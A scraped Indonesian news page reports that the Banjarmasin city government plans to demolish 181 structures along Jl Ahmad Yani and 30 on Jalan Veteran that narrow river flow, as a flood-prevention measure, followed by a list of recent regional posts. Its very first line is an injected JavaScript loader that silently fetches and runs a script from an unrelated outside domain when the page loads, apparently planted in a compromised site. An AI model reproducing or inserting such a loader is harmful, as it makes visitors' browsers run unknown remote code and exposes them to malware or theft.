(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

181 Titik Bangunan Penghambat Sungai Akan Dieksekusi Pemko Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin akan mengeksekusi ratusan bangunan yang menjadi penghambat aliran sungai. Langkah tersebut dilakukan untuk normalisasi sungai serta mencegah dampak banjir yang sebelumnya menjadi mimpi buruk bagi warga kota seribu sungai ini.

Plt Kepala Dinas PUPR Kota Banjarmasin, Windiasti Kartika mengatakan, selain melakukan eksekusi bangunan yang pernah dilakukan sebelumnya, pihaknya juga sudah memverifikasi hingga menandai titik mana saja yang harus dieksekusi.

Terdata ada 181 titik yang di sepanjang Jl Ahmad Yani dari Km 1 sampai Km 6. Sementara di kawasan Jalan Veteran jumlahnya mencapai 30 titik.

“Ada jembatan bangunan gedung baik di kiri maupun kanan jalan yang sebagian besar rendah dan mempersempit aliran air sungai. Kemudian juga bangunan lain,” katanya kepada Kanalkalimantan.com, Kamis (4/2/2021).

Ia mengatakan, 181 titik tersebut merupakan data awal dan akan memverifikasi ulang. Mana di antaranya yang benar-benar menghalangi aliran air sungai. “Kalau airnya masih bisa lewat dan tidak tersumbat, itu dieksekusi belakangan,” tambahnya.

Ia juga menegaskan, sebelum melakukan eksekusi nanti, agar para pemilik bangunan bisa membongkar sendiri sebelum dieksekusi oleh Pemko. Pasalnya surat edaran sudah diterbitkan yang berisikan imbauan kepada pemilik bangunan ataupun jembatan bisa membongkar sendiri.

“Apabila semua pembongkaran diserahkan pada Pemko Banjarmasin, tentu perlu waktu lama. Mungkin sampai dua atau tiga tahun, dan itu perlu energi dan dana yang lumayan besar nantinya,” katanya.

Untuk pembongkaran satu jembatan gedung saja, Windiasti mengatakan, perlu waktu seharian penuh. Itu pun belum termasuk bangunan hunian warga . “Untuk tahap awal kali ini, paling tidak yang bisa dikerjakan dulu. Dalam surat edaran itu jelas, bahwa setiap yang menghalangi aliran sungai wajib dibongkar,” tutupnya.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

 

 

 

 


Al Ghifari

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

10 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

11 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

12 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

14 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

14 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

15 jam ago

This website uses cookies.